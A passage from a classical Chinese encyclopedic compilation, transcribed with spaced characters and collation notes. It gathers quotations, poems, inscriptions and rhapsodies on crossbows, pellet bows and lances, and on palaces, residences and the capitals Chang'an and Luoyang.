秋 曰 . 初 高 祖 勒 兵 阙 下 . 经 曹 爽 门 . 爽 帐 下 督 严 世 . 引 弩 将 射 高 祖 . 孙 谦 止 之 曰 . 事 未 可 知 . 三 注 三 止 . 高 祖 车 乃 过 .\n日 南 传 曰 . 南 越 王 尉 他 ○ 太 平 御 览 三 百 四 十 八 他 下 有 攻 字 . 安 阳 王 . 有 神 人 皋 通 . ○ 御 览 通 下 有 为 字 . 安 阳 王 治 神 弩 一 张 . 一 发 大 ○ 御 览 作 万 人 二 字 . 死 . 三 发 杀 三 万 人 .\n华 阳 国 志 曰 . 邓 芝 征 涪 陵 . 见 玄 猿 抱 子 在 树 上 . 引 弩 射 之 . 中 猿 母 . 其 子 为 拔 箭 . 以 木 叶 塞 创 . 芝 乃 叹 曰 . 吾 违 物 之 性 . 其 将 死 矣 . 投 弩 水 中 .\n会 稽 典 录 曰 . 钟 离 牧 谓 朱 育 曰 . 大 皇 帝 以 中 国 多 骑 . 欲 得 骑 而 当 之 . 然 吴 神 锋 弩 . 射 三 里 . 贯 洞 三 四 马 . 骑 敢 近 之 乎 .\n南 越 志 曰 . 龙 川 当 ○ 太 平 御 览 三 百 四 十 八 作 尝 . 有 铜 弩 牙 流 出 水 . 皆 所 ○ 御 览 作 以 . 银 黄 雕 镂 . 取 之 者 祀 而 后 得 . 父 老 云 . 越 王 弩 营 处 也 .\n太 公 兵 法 曰 . 弩 之 神 . 名 远 望 .\n文 子 曰 . 狡 兔 得 而 猎 犬 死 . 高 鸟 得 而 强 弩 藏 .\n风 俗 通 曰 . 波 ○ 太 平 御 览 三 百 四 十 八 作 汲 . 令 应 郴 . 请 主 簿 宣 . 赐 酒 . 北 壁 上 悬 赤 弩 . 照 于 杯 中 . 其 形 如 蛇 . 宣 畏 恶 之 . 然 不 敢 不 饮 . 因 得 病 . 郴 后 知 之 . 思 惟 必 悬 弩 所 为 也 . 使 致 宣 . 于 故 处 设 酒 . 杯 中 犹 有 蛇 . 因 谓 曰 . 此 壁 上 弩 影 耳 . 非 有 他 怪 . 宣 意 解 . 病 即 愈 . 事 具 方 术 部 疾 篇 一 .\n蔡 邕 幽 州 刺 史 议 曰 . 幽 州 突 骑 冀 州 弩 . 天 下 精 兵 . 国 家 赡 核 . 四 方 有 事 . 未 尝 不 取 辨 不 ○ 字 衍 . 于 二 州 也 .\n【 铭 】 后 汉 李 尤 弩 铭 曰 . 放 自 近 古 . 发 意 所 睹 . 前 圣\n制 弓 . 后 世 建 弩 . 机 牙 发 矢 . 执 破 丑 虏 . 充 获 虽 屡 . 犹\n不 可 常 . 忘 战 者 危 . 极 武 者 伤 .\n左 传 曰 . 晋 灵 公 从 台 上 弹 人 . 观 其 避 丸 也 .\n吴 越 春 秋 曰 . 陈 音 对 越 王 云 . 弩 生 于 弓 . 弓 生 于 弹 . 弹 生 于 古 之 孝 子 . 古 者 人 民 质 朴 . 死 裹 以 白 茅 . 投 之 中 野 . 孝 子 不 忍 父 母 为 禽 兽 所 食 . 则 作 弹 以 守 之 . 故 古 人 歌 之 . 断 竹 属 木 . 飞 土 逐 害 .\n张 璠 汉 记 曰 . 班 超 使 于 外 . 愿 将 三 十 六 人 . 以 为 蒿 矢 弹 丸 之 用 .\n东 方 朔 记 曰 . 东 方 朔 对 骠 骑 难 曰 . 以 珠 弹 . 不 如 泥 丸 . 各 有 所 用 也 .\n太 玄 经 曰 . 明 珠 弹 于 飞 害 . 其 复 ○ 太 平 御 览 三 百 五 十 作 得 . 不 复 .\n世 说 曰 . 前 辈 人 忌 日 . 惟 不 饮 酒 作 乐 . 王 世 将 以 忌 日 送 客 . 至 新 亭 . 主 人 欲 作 音 乐 . 王 便 起 去 . 持 弹 往 卫 洗 马 墓 下 弹 鸟 .\n萧 子 显 齐 书 曰 . 桓 崇 祖 善 弹 . 弹 鸟 毛 尽 而 鸟 不 死 . 海 鹄 群 翔 . 崇 祖 登 城 楼 弹 之 . 无 不 折 翅 .\n【 诗 】 晋 桓 玄 南 林 弹 诗 曰 . 散 带 蹑 良 驷 . 挥 弹 出 长 林 . 归 翮 赴 旧 栖 . 乔 木 转 翔 禽 . 落 羽 寻 绝 响 . 屡 中 转 应 心 .\n【 赋 】 晋 夏 侯 孝 若 缴 弹 赋 曰 . 张 弱 弓 . 理 繁 缴 . 望 大 群 以 送 丸 . 审 遣 放 而 必 获 .\n【 铭 】 后 汉 李 尤 弹 铭 曰 . 昔 之 造 弹 . 起 意 弦 木 . 以 丸\n为 矢 . 合 竹 为 朴 . 漆 饰 以 沾 . 不 用 筋 角 . 丸 弹 之 利 . 以\n弋 凫 鹜 . 晋 灵 骄 悖 . 群 臣 是 弹 . 乐 其 如 跃 . 趋 如 避 丸 .\n后 魏 书 曰 . 于 栗 磾 筑 垒 于 河 上 . 亲 自 守 焉 . 裕 甚 惮 之 . 遗 栗 磾 书 . 假 道 西 上 . 题 书 曰 黑 公 麾 下 . 栗 磾 以 闻 太 宗 . 太 宗 因 授 黑 将 军 .\n灵 鬼 志 曰 . 河 闲 王 颙 . 既 败 于 关 中 . 有 给 使 陈 安 者 . 常 乘 一 赤 马 . 俊 快 非 常 . 双 持 二 刀 . 皆 长 七 尺 . 驰 马 运 刀 . 所 向 披 靡 . 关 西 为 之 歌 曰 . 垄 上 健 儿 字 陈 安 . 头 细 面 狭 肠 中 宽 . 丈 八 大 槊 左 右 盘 .\n【 诗 】 晋 傅 玄 诗 曰 . 弯 我 繁 弱 弓 . 弄 我 丈 八 . 一 举 覆 三 军 . 再 举 殄 戎 貊 .\n【 书 】 晋 庾 翼 与 燕 王 书 曰 . 今 致 朱 漆 ● 三 十 张 . 绛 碧 书 幡 黑 眊 副 也 .\n【 序 】 梁 简 文 帝 马 槊 谱 序 曰 . 马 槊 为 用 . 虽 非 远 法 .\n近 代 相 传 . 已 成 艺 . 邓 蔍 荣 ○ 太 平 御\n览 三 百 五 十 四 作 蔗 萦 . 魏 后 之 逢 . ○\n御 览 作 庭 . 武 而 犹 质 . 种 ○ 御 览\n作 桓 . 马 入 丹 阳 之 寺 . 雄 而 未 巧 . 聊 以 余 暇 . 复 撰\n斯 法 . 援 操 抑 扬 . 斟 酌 烦 简 . 至 春 亭 落 景 . 秋 皋 晚 静 .\n严 霜 尽 降 . 密 雨 初 暗 . ○ 御 览 作 晴 . 纤\n骊 沃 若 . 天 马 半 盼 . ○ 御 览 作 汉 . 叹\n○ 御 览 作 盼 . 金 精 而 转 态 . 交 流\n汗 血 . 爱 连 干 而 自 息 . 不 畏 衣 . ○ 御 览\n衣 下 有 春 字 . 镂 衢 与 白 刃 晖 . ○\n御 览 晖 上 有 争 字 . 此 脱 . 翠 眊 与 红 尘 俱 动 . 足 使 武\n夫 愤 气 . 观 者 冲 冠 . 巴 童 留 玩 . 不 待 轻 舟 之 楫 . 越 女 踟\n蹰 . 无 假 如 皋 之 箭 .\n楚 辞 曰 . 像 设 居 室 静 闲 安 . 高 堂 邃 宇 槛 层 轩 . 层 台 累 榭 临 高 山 . 网 户 朱 缀 刻 方 连 . 冬 有 突 夏 ○ 太 平 御 览 一 百 七 十 四 作 奥 突 . 后 同 . 夏 室 寒 . 经 堂 入 奥 朱 尘 筵 . 承 尘 筵 席 也 . 砥 室 翠 翘 挂 曲 琼 . 蒻 阿 拂 壁 罗 帱 张 . 翠 帷 翠 帱 饰 高 堂 . 红 壁 沙 板 玄 玉 梁 . 仰 观 刻 桷 画 龙 蛇 . 坐 堂 伏 槛 临 曲 池 . 芙 蓉 始 发 杂 芰 荷 . 紫 茎 屏 风 文 绿 波 .\n又 曰 . 筑 室 兮 水 中 . 葺 之 兮 以 荷 盖 . 荃 壁 兮 紫 坛 . 播 芳 椒 兮 成 堂 . 桂 栋 兮 兰 橑 . 辛 夷 楣 兮 药 房 .\n盐 铁 论 曰 . 贵 人 之 家 . 梓 匠 斫 巨 为 小 . 以 圆 为 方 . 上 成 云 气 . 下 成 山 林 .\n汉 武 故 事 曰 . 上 起 神 屋 . 铸 铜 为 柱 . 黄 金 涂 之 . 赤 玉 为 阶 . 椽 亦 以 金 . 刻 玳 瑁 为 禽 兽 . 以 薄 其 上 . 椽 首 皆 作 龙 首 . 衔 铃 . 流 苏 悬 之 . 铸 铜 如 竹 . 以 赤 白 石 脂 为 泥 . 椒 汁 和 之 . 以 火 齐 薄 其 上 . 扇 屏 悉 以 白 琉 璃 作 之 . 光 照 洞 彻 . 以 白 珠 为 帘 薄 . 玳 瑁 压 之 . 以 象 牙 为 床 . 以 琉 璃 珠 玉 明 月 夜 光 . 杂 错 天 下 珍 宝 为 甲 帐 . 其 次 为 乙 帐 . 甲 以 居 神 . 乙 上 自 御 之 . 前 庭 植 玉 树 . 珊 瑚 为 枝 . 以 碧 玉 为 叶 . 或 青 或 赤 . 悉 以 珠 玉 为 之 . 子 皆 空 其 中 . 如 小 铃 . 枪 枪 有 声 . 甍 摽 作 凤 皇 . 轩 翥 若 飞 状 .\n汉 书 曰 . 赵 皇 后 娣 为 昭 仪 . 居 昭 阳 舍 . 其 中 庭 彤 采 . 而 砌 皆 铜 沓 黄 金 涂 . 白 玉 阶 . 壁 带 往 往 为 黄 金 釭 函 . 蓝 田 璧 明 珠 翠 羽 饰 之 .\n又 曰 . 五 侯 大 治 第 宅 . 起 土 山 渐 台 . 洞 门 高 廓 ○ 汉 书 九 十 八 元 后 传 作 廊 . 阁 道 . 百 姓 歌 之 曰 . 五 侯 初 起 . 曲 阳 家 ○ 汉 书 作 最 . 怒 . 坏 决 高 都 . 决 高 都 . 使 水 入 长 安 城 . 高 都 在 城 西 . 连 竟 外 杜 . 杜 陵 也 . 成 都 侯 商 尝 病 . 欲 避 暑 . 从 上 借 明 光 宫 . 又 穿 长 安 城 . 引 内 漕 水 以 行 舡 . 立 羽 盖 . 张 周 帷 . 楫 擢 越 歌 . 上 幸 商 第 . 见 赤 墀 青 琐 . 又 曰 . 梁 孝 王 筑 东 苑 . 方 三 百 里 . 广 睢 阳 城 七 十 里 . 大 治 宫 室 . 为 复 道 . 自 宫 连 属 于 平 台 . 三 十 余 里 .\n东 观 汉 记 曰 . 琅 邪 孝 王 京 就 国 都 . 雅 好 宫 室 . 穷 极 技 巧 . 壁 带 玉 饰 以 金 银 .\n张 璠 汉 记 曰 . 山 阳 督 邮 张 俭 . 奏 中 常 侍 侯 览 . 起 第 十 六 区 . 皆 高 楼 四 周 . 连 阁 洞 门 . 文 井 莲 华 . 璧 柱 彩 画 . 鱼 池 台 苑 . 拟 诸 宫 阙 .\n董 生 书 曰 . 礼 . 天 子 之 宫 在 清 庙 . 左 凉 室 . 右 明 堂 . 后 路 寝 . 四 室 者 . 足 以 避 寒 暑 而 不 高 大 也 . 夫 高 近 阳 . 广 室 多 阴 . 故 室 适 形 而 正 .\n仲 长 昌 言 曰 . 今 为 宫 室 者 . 崇 台 数 十 层 . 长 阶 十 百 仞 . 延 袤 临 浮 云 . 上 树 九 丈 旗 . 珠 玉 翡 翠 以 为 饰 . 连 帷 为 城 . 构 帐 为 宫 . 起 台 树 则 高 数 百 丈 . 壁 带 珠 玉 . 土 被 缇 锦 .\n曹 植 表 曰 . 诏 使 周 观 . 初 玩 云 盘 . 北 观 疏 圃 . 遂 步 九 华 . 神 明 特 处 . 谲 诡 天 然 . 诚 可 谓 帝 室 皇 居 者 矣 . 虽 昆 仑 阆 风 之 丽 . 文 昌 之 居 . 不 是 过 也 .\n罗 含 别 传 曰 . 桓 宣 武 以 含 为 别 驾 . 以 官 廨 寺 喧 扰 . 非 静 默 所 处 . 乃 于 城 西 池 小 洲 上 . 立 茅 茨 之 屋 . 竹 果 荫 宇 . 戕 木 之 床 . 织 苇 为 席 . 布 衣 蔬 食 . 晏 若 有 余 .\n【 诗 】 陈 孔 奂 名 都 一 何 绮 诗 曰 . 京 洛 信 名 都 . 佳 丽 拟 蓬 壶 . 九 华 雕 玳 瑁 . 百 福 上 椒 涂 . 黄 金 络 騕 褭 . 莲 花 装 鹿 卢 . 咸 言 仪 服 盛 . 无 胜 执 金 吾 . 陈 沈 炯 名 都 一 何 绮 诗 曰 . 名 都 一 何 绮 . 春 日 吐 光 辉 . 高 楼 云 母 扇 . 复 殿 琉 璃 扉 . 昭 仪 同 辇 出 . 高 安 连 骑 归 . 欲 知 天 子 贵 . 千 门 应 紫 微 .\n陈 周 弘 正 诗 曰 . 名 都 宫 观 绮 . 金 壁 藻 华 珰 . 吹 台 望 鳷 鹊 . 舞 殿 接 披 香 . 绣 毂 游 丹 水 . 雕 辇 出 平 阳 . 陆 离 徒 照 眼 . 何 解 忧 人 伤 .\n【 赋 】 汉 杨 雄 蜀 都 赋 曰 . 蜀 都 之 地 . 古 曰 梁 州 . 禹 治 其 江 . 渟 皋 弥 望 . 郁 乎 青 葱 . 丹 凤 青 龙 . 石 水 螭 . 于 近 则 有 瑕 英 菌 芝 . 玉 石 江 珠 . 于 远 则 有 银 铅 锡 碧 . 马 犀 象 僰 . 西 有 盐 泉 铁 冶 . 橘 林 铜 陵 . 其 傍 则 有 期 牛 光 旄 . 金 马 碧 鸡 . 其 竹 则 宗 生 族 攒 . 俊 茂 丰 美 . 夹 江 缘 山 . 寻 卒 而 起 . 其 深 则 有 猵 獭 沉 . 水 豹 蛟 蛇 . 其 都 门 二 九 . 四 百 余 闾 . 两 江 饰 其 市 . 九 桥 带 其 流 . 苴 竹 浮 流 . 龟 鳖 碛 石 . 风 胎 雨 鷇 . 众 物 骇 目 . 百 华 投 春 . 隆 急 芳 芬 . 螭 烛 若 挥 . 锦 布 绣 望 . 芒 芒 兮 无 幅 . 其 布 则 筒 中 黄 润 . 一 端 数 金 . 雕 镂 铅 器 . 百 技 千 工 . 上 乃 使 有 伊 之 徒 . 调 夫 五 味 . 甘 甜 之 和 . 勺 药 之 羹 . 江 东 鲐 鲍 . 陇 西 牛 羊 . 五 肉 七 菜 . 朦 猒 腥 臊 . 若 其 吉 日 嘉 会 . 期 于 倍 春 之 阴 . 迎 夏 之 阳 . 置 酒 于 荣 川 之 间 宅 . 设 坐 于 华 都 之 高 堂 . 延 帷 扬 幕 . 接 帐 连 冈 . 郤 ○ 文 选 四 蜀 都 赋 刘 逵 注 作 郤 . 公 之 徒 . 相 与 如 平 ○ 文 选 四 南 都 赋 注 作 乎 . 阳 ● ○ 南 都 赋 注 作 濒 . 臣 诏 . ○ 蜀 都 赋 刘 注 作 巨 野 . 罗 车 百 乘 . 期 会 投 宿 . 观 者 方 防 . 行 舡 竞 逐 也 .\n后 汉 班 固 西 都 赋 曰 . 赋 者 古 诗 之 流 . 或 以 抒 下 情 而 通 讽 谕 . 或 以 宣 上 德 而 尽 忠 孝 . 雍 容 揄 扬 . 亦 雅 颂 之 亚 也 . 西 土 耆 老 . 有 陋 洛 邑 之 议 . 故 臣 作 两 都 之 赋 . 汉 之 西 都 . 在 乎 雍 州 . 左 据 函 谷 二 崤 之 阻 . 表 以 太 华 终 南 之 山 . 右 界 褒 斜 陇 首 之 险 . 带 以 洪 河 泾 渭 之 川 . 披 三 条 之 广 路 . 立 十 二 之 通 门 . 英 俊 之 域 . 绂 冕 所 兴 . 冠 带 如 云 . 七 相 五 公 . 其 阳 则 崇 山 隐 天 . 幽 林 空 谷 . 陆 海 珍 藏 . 蓝 田 美 玉 . 其 阴 则 冠 以 九 嵕 . 陪 以 甘 泉 . 下 有 郑 白 之 沃 . 衣 食 之 源 . 提 封 五 万 . 疆 埸 绮 分 . 沟 塍 刻 镂 . 原 隰 龙 鳞 . 决 渠 降 雨 . 荷 锸 成 云 . 离 宫 别 馆 . 神 池 灵 沼 . 其 中 则 有 九 真 之 鳞 . 大 宛 之 马 . 黄 支 之 犀 . 条 枝 之 鸟 . 其 宫 室 也 . 体 象 乎 天 地 . 经 纬 乎 阴 阳 . 树 中 天 之 华 阙 . 丰 冠 山 之 朱 堂 . 因 瑰 材 而 究 奇 . 抗 应 龙 之 虹 梁 . 列 棼 橑 以 布 翼 . 荷 栋 桴 而 高 骧 . 雕 玉 瑱 以 居 楹 . 裁 金 璧 以 饰 珰 . 左 仓 勒 反 . 阶 级 也 . 右 平 . 重 轩 三 阶 . 闺 房 周 通 . 门 闼 洞 开 . 列 钟 虡 于 中 庭 . 立 金 人 于 端 闱 . 增 盘 崔 嵬 . 登 降 照 烂 . 殊 形 诡 制 . 每 各 异 观 . 乘 茵 步 辇 . 唯 所 息 宴 . 后 宫 则 有 掖 庭 椒 房 后 妃 之 室 . 茞 若 椒 风 . 披 香 发 越 . 兰 林 蕙 草 . 鸳 鸾 飞 翔 之 列 . 昭 阳 特 盛 . 隆 乎 孝 成 . 随 侯 明 月 . 错 落 其 闲 . 金 釭 衔 璧 . 是 为 列 钱 . 翡 翠 火 齐 . 流 燿 含 英 . 珊 瑚 碧 树 . 周 阿 而 生 . 后 宫 之 号 . 十 有 四 位 . 窈 窕 繁 华 . 更 盛 迭 贵 . 又 有 天 禄 石 渠 典 籍 之 府 . 讲 论 乎 六 艺 . 稽 合 乎 异 同 . 周 以 钩 陈 之 位 . 卫 以 严 更 之 署 . 周 庐 千 列 . 徼 道 绮 错 . 辇 路 经 营 . 脩 途 飞 阁 . 堎 墱 道 而 超 西 墉 . 混 建 章 而 连 外 属 . 神 明 台 名 也 . 郁 其 特 起 . 遂 偃 蹇 而 上 跻 . 轶 云 雨 于 太 半 . 虹 霓 回 带 于 棼 楣 . 攀 井 干 而 未 半 . 目 眩 转 而 意 迷 . 灵 草 冬 华 . 神 木 丛 生 . 抗 仙 掌 以 承 露 . 擢 双 立 之 金 茎 . 尔 乃 盛 娱 游 之 壮 观 . 曜 威 灵 而 讲 武 事 . 命 荆 州 使 起 鸟 . 诏 梁 野 而 驱 兽 . 毛 群 肉 填 . 飞 羽 上 覆 . 列 卒 周 ● . 星 罗 云 布 . 矢 不 单 杀 . 中 必 叠 双 . 风 毛 雨 血 . 洒 野 蔽 天 . 于 是 天 子 乃 登 属 玉 之 馆 . 历 长 杨 上 林 也 . 之 榭 . 陈 轻 骑 以 行 炰 . 腾 酒 车 以 斟 酌 . 割 鲜 野 飨 . 举 烽 命 爵 . 大 辂 鸣 銮 . 容 与 徘 徊 . 集 乎 豫 章 之 宇 . 临 乎 昆 明 之 池 . 左 牵 牛 而 右 织 女 . 似 云 汉 之 无 涯 . 茂 树 阴 蔚 . 芳 草 被 堤 . 若 摛 锦 与 布 绣 . 烛 燿 乎 其 陂 . 玄 鹤 白 鹭 . 凫 鹥 鸿 雁 . 沉 浮 往 来 . 云 集 雾 散 . 郁 郁 相 望 . 邑 邑 相 属 . 国 籍 十 世 之 基 . 家 承 百 年 之 业 .\n又 东 都 赋 曰 . 王 莽 作 逆 . 汉 祚 中 缺 . 于 是 圣 皇 握 干 符 . 辟 坤 珍 . 披 皇 图 . 稽 帝 文 . 赫 然 发 愤 . 应 若 兴 云 . 遂 超 大 河 . 跨 北 岳 . 立 号 高 邑 . 建 都 河 洛 . 系 唐 统 . 接 汉 绪 . 茂 育 群 生 . 恢 复 彊 宇 . 若 乃 顺 时 节 而 搜 狩 . 简 车 徒 以 讲 武 . 历 驺 虞 . 览 驷 铁 . 嘉 车 攻 . 采 吉 日 . 礼 官 整 仪 . 乘 舆 乃 出 . 于 是 发 鲸 鱼 . 铿 华 钟 . 登 玉 辂 . 乘 时 龙 . 元 戎 竟 野 . 戈 鋋 彗 云 . 羽 毛 扫 蜺 . 旌 旗 拂 天 . 然 后 举 烽 伐 鼓 . 申 令 三 驱 . 轻 车 霆 激 . 骁 骑 电 骛 . 指 顾 倏 忽 . 获 车 已 实 . 乐 不 极 般 . 杀 不 尽 物 . 于 是 荐 三 牺 . 效 五 牲 . 礼 神 祇 . 怀 百 灵 . 觐 明 堂 . 临 辟 雍 . 登 灵 台 . 考 休 征 . 列 百 僚 而 赞 群 后 . 究 皇 仪 而 展 帝 容 .\n明 堂 诗 曰 . 于 昭 明 堂 . 明 堂 孔 阳 . 圣 皇 宗 祀 . 穆 穆 煌 煌 .\n辟 雍 诗 曰 . 乃 流 辟 雍 . 辟 雍 汤 汤 . 圣 皇 莅 止 . 造 舟 为 梁 .\n灵 台 诗 曰 . 三 光 宣 精 . 五 行 布 序 . 习 习 祥 风 . 祁 祁 甘 雨 .\n宝 鼎 诗 曰 . 岳 脩 贡 兮 川 效 珍 . 吐 金 景 兮 敲 浮 云 . 宝 鼎 见 兮 色 纷 纭 . 焕 其 炳 兮 被 龙 文 .\n白 雉 诗 曰 . 启 灵 篇 兮 披 瑞 图 . 获 白 雉 兮 效 素 乌 . 嘉 祥 阜 兮 集 皇 都 . 发 皓 羽 兮 奋 翘 英 .\n后 汉 张 衡 西 京 赋 曰 . 昔 班 固 睹 世 祖 迁 都 于 洛 邑 . 惧 将 必 逾 溢 制 度 . 不 能 遵 先 圣 之 正 法 也 . 故 假 西 都 宾 盛 称 长 安 旧 制 . 有 陋 洛 邑 之 议 . 而 为 东 都 主 人 折 礼 衷 以 答 之 . 张 平 子 薄 而 陋 之 . 故 更 造 焉 . 有 凭 虚 公 子 者 . 无 此 公 子 . 但 依 凭 言 之 . 言 于 安 处 先 生 曰 . 亦 无 此 先 生 也 . 秦 据 雍 而 强 . 周 即 豫 而 弱 . 高 祖 都 西 而 泰 . 光 武 处 东 而 约 . 先 生 独 不 闻 西 秦 之 事 欤 . 汉 氏 初 都 . 在 渭 之 涘 . 秦 里 其 朔 . 寔 为 咸 阳 . 里 . 居 . 朔 . 北 也 . 高 帝 六 年 . 改 曰 长 安 . 左 有 崤 函 重 险 . 桃 林 之 塞 . 缀 以 二 华 . 巨 灵 赑 ● . 高 掌 远 跖 . 以 流 河 曲 . 厥 迹 犹 存 . 右 有 陇 坻 之 隘 . 隔 阂 华 戎 . 岐 梁 汧 雍 . 皆 山 名 . 陈 宝 鸣 鸡 在 焉 . 于 前 则 终 南 大 一 . 隆 崛 崔 崒 . 隐 辚 郁 律 . 连 冈 兮 嶓 冢 . 爰 有 蓝 田 珍 玉 . 是 之 自 出 . 于 后 则 高 陵 平 原 . 据 渭 踞 泾 . 其 远 则 九 嵕 甘 泉 . 固 阴 冱 寒 . 日 北 至 而 含 冻 . 此 焉 清 暑 . 寔 为 地 之 奥 区 神 皋 . 昔 者 太 帝 悦 秦 穆 公 而 觐 之 . 飨 以 钧 天 广 乐 . 帝 有 醉 焉 . 乃 为 金 策 . 锡 用 此 土 . 而 剪 诸 鹑 首 . 自 我 高 祖 之 始 入 也 . 乃 览 秦 制 . 跨 周 法 . 正 紫 宫 于 未 央 . 表 峣 阙 于 阊 阖 . 疏 龙 首 以 抗 殿 . 状 嵬 峨 以 岌 嶪 . 蒂 倒 茄 于 藻 井 . 披 红 葩 之 狎 猎 . 饰 华 榱 与 璧 珰 . 流 景 曜 之 暐 晔 . 雕 楹 玉 . 绣 栭 云 楣 . 三 阶 重 轩 . 镂 槛 文 . 右 平 左 . 青 琐 丹 墀 . 仰 福 帝 居 . 阳 曜 阴 藏 . 洪 钟 万 钧 . 猛 虡 趪 趪 . 负 笋 业 而 余 怒 . 乃 奋 翅 而 腾 骧 . 若 夫 长 年 神 仙 . 宣 室 玉 堂 . 麒 麟 朱 鸟 . 龙 兴 含 章 . 正 殿 路 寝 . 用 朝 群 辟 . 嘉 木 树 庭 . 芳 草 如 积 . 高 门 有 闶 . 列 坐 金 狄 . 秦 时 长 狄 见 于 临 洮 . 铸 铜 作 其 象 . 后 宫 则 昭 阳 飞 翔 . 增 成 合 欢 . 兰 林 披 香 . 凤 皇 鸳 鸯 . 皆 后 宫 殿 名 . 故 其 馆 室 次 舍 . 采 饰 纤 缛 . 裛 以 藻 绣 . 文 以 朱 绿 . 翡 翠 火 齐 . 络 以 美 玉 . 流 悬 黎 之 夜 光 . 缀 随 珠 以 为 烛 . 于 是 钩 陈 之 外 . 阁 道 穹 隆 . 属 长 乐 与 明 光 . 径 北 通 乎 桂 宫 . 恣 意 所 幸 . 下 辇 成 燕 . 穷 年 忘 归 . 犹 不 能 遍 . 覛 音 脉 . 往 昔 之 遗 馆 . 获 林 光 于 秦 余 . 处 甘 泉 之 爽 垲 . 乃 隆 崇 而 弘 敷 . 既 新 作 于 迎 风 . 增 露 寒 与 储 胥 . 通 天 眇 以 竦 峙 . 径 百 常 而 茎 擢 . 翔 鹍 仰 而 不 建 . ○ 文 选 二 西 京 赋 建 作 逮 . 况 青 鸟 与 黄 雀 . 伏 棂 槛 而 俯 听 . 闻 雷 霆 之 相 激 . 柏 梁 既 灾 . 越 巫 陈 方 . 建 章 是 经 . 用 厌 火 祥 . 圜 阙 竦 以 造 天 . 若 双 碣 之 相 望 . 凤 骞 翥 于 甍 标 . 咸 溯 风 而 欲 翔 . 干 云 雾 而 上 达 . 状 亭 亭 以 迢 迢 . 神 明 崛 其 特 起 . 井 干 叠 而 百 层 . 上 飞 闼 而 仰 眺 . 正 睹 瑶 光 与 玉 绳 . 列 瀛 洲 与 方 丈 . 夹 蓬 莱 而 骈 罗 . 长 风 激 于 别 岛 . 起 洪 涛 而 飏 波 . 海 若 游 于 玄 渚 . 鲸 鱼 失 流 而 蹉 跎 . 立 脩 茎 之 仙 掌 . 承 云 表 之 清 露 . 屑 琼 橤 以 朝 餐 . 必 性 命 之 可 度 . 尔 乃 廓 开 九 市 . 通 阛 带 阓 . 旗 亭 五 重 . 俯 察 百 隧 . 隧 . 列 肆 道 也 . 上 林 禁 苑 . 跨 谷 弥 阜 . 东 至 鼎 湖 . 邪 界 细 柳 . 掩 长 扬 而 联 五 柞 . 绕 黄 山 而 款 牛 首 . 乃 有 昆 明 灵 沼 . 黑 水 玄 沚 . 周 以 金 堤 . 树 以 柳 杞 . 豫 章 珍 馆 . 揭 焉 中 跱 . 牵 牛 立 其 左 . 织 女 处 其 右 . 日 月 于 是 乎 出 入 . 象 扶 桑 与 濛 汜 . 其 鱼 则 鲔 鲵 鲿 鲨 . 脩 额 短 项 . 大 口 折 鼻 . 诡 类 殊 种 . 鸟 则 鹔 鷞 鸹 鸨 . 鴐 鹅 鸿 鹍 . 南 翔 衡 阳 . 北 栖 雁 门 . 于 是 孟 冬 作 阴 . 寒 风 肃 杀 . 雨 雪 飘 飖 . 冰 霜 惨 烈 . 天 子 乃 驾 雕 轸 . 六 骏 駮 . 戴 翠 帽 . 倚 金 较 . 华 盖 承 辰 . 天 罼 先 驱 . 千 乘 雷 动 . 万 骑 龙 趋 . 纵 猎 徒 . 赴 长 莽 . 迾 卒 清 候 . 武 士 赫 怒 . 河 渭 为 之 波 荡 . 吴 岳 为 之 阤 堵 . 百 禽 遽 . 骙 瞿 奔 触 . 丧 精 亡 魂 . 失 归 忘 趣 . 矢 不 虚 舍 . 鋋 不 苟 跃 . 当 足 见 蹍 . 值 轮 被 轹 . 乃 使 迅 羽 轻 足 . 寻 景 追 括 . 鸟 不 暇 举 . 兽 不 得 发 . 青 骹 挚 于 鞲 下 . 韩 卢 噬 于 末 . 于 是 鸟 兽 殚 . 目 观 穷 . 迁 延 邪 睨 . 集 乎 长 杨 之 闲 . 酒 车 酌 醴 . 方 驾 授 邕 . 升 觞 举 燧 . 既 釂 鸣 钟 . 儴 佯 乎 五 柞 之 馆 . 旋 憩 乎 昆 明 之 池 . 浮 鹢 首 . 翳 云 芝 . 垂 翟 葆 . 建 羽 旗 . 齐 女 . 纵 桌 歌 . 奏 淮 南 . 度 阳 阿 . 大 驾 幸 乎 平 乐 . 张 甲 乙 而 袭 翠 被 . 临 回 注 之 广 场 . 程 角 抵 之 妙 戏 . 乌 获 扛 鼎 . 都 卢 寻 橦 . 冲 狭 鷰 濯 . 胸 突 铦 锋 . 跳 丸 剑 之 挥 霍 . 走 索 上 而 相 逢 . 度 曲 未 终 . 云 起 雪 飞 . 巨 兽 百 寻 . 是 为 曼 延 . 神 山 崔 嵬 . 欻 从 背 见 . 白 象 行 孕 . 垂 鼻 辚 囷 . 海 鳞 变 而 成 龙 . 状 蜿 蜿 以 蝹 蝹 . 于 云 反 . 龙 形 貌 . 含 利 兽 名 . 性 . ○ 文 选 二 西 京 赋 注 性 下 有 吐 金 二 字 . 颬 颬 . 化 为 仙 车 . 骊 驾 四 鹿 . 芝 盖 九 葩 . 奇 幻 倏 忽 . 易 貌 分 形 . 吞 刀 吐 火 . 云 雾 杳 冥 . 画 地 成 川 . 流 渭 通 泾 . 百 马 同 辔 . 骋 足 并 驰 . 撞 末 之 妓 . 态 不 可 弥 . 秘 舞 更 奏 . 妙 材 骋 妓 . 始 徐 进 而 羸 形 . 似 不 任 乎 罗 绮 . 纷 纵 体 而 迅 赴 . 若 惊 鹤 之 群 罴 . 要 绍 修 态 . 丽 服 飏 菁 . 昭 邈 流 盼 . 一 顾 倾 城 . 列 爵 十 四 . 竞 媚 取 荣 . 盛 衰 无 常 . 唯 爱 所 丁 . 卫 后 兴 于 鬒 发 . 飞 鷰 宠 于 轻 体 . 又 东 京 赋 曰 . 是 时 也 . 七 雄 并 争 . 竞 相 高 以 奢 丽 . 楚 筑 章 华 于 前 . 赵 建 丛 台 于 后 . 秦 政 利 觜 长 距 . 终 得 擅 场 . 思 专 其 侈 . 以 莫 己 若 也 . 乃 构 阿 房 . 起 甘 泉 . 结 云 阁 . 观 南 山 . 百 姓 不 能 忍 . 是 用 息 肩 于 大 汉 . 高 祖 应 录 受 图 . 顺 天 行 诛 . 扫 项 军 于 垓 下 . 绁 子 婴 于 轵 途 . 因 秦 宫 业 . 据 其 府 库 . 且 夫 天 子 有 道 . 狩 在 海 外 . 守 位 以 仁 . 不 恃 隘 害 . 秦 负 阻 于 二 关 . 卒 开 项 而 受 沛 . 彼 偏 据 而 规 小 . 岂 若 宅 中 而 图 大 . 昔 先 王 之 经 邑 也 . 掩 观 九 隩 . 靡 地 不 营 . 土 圭 测 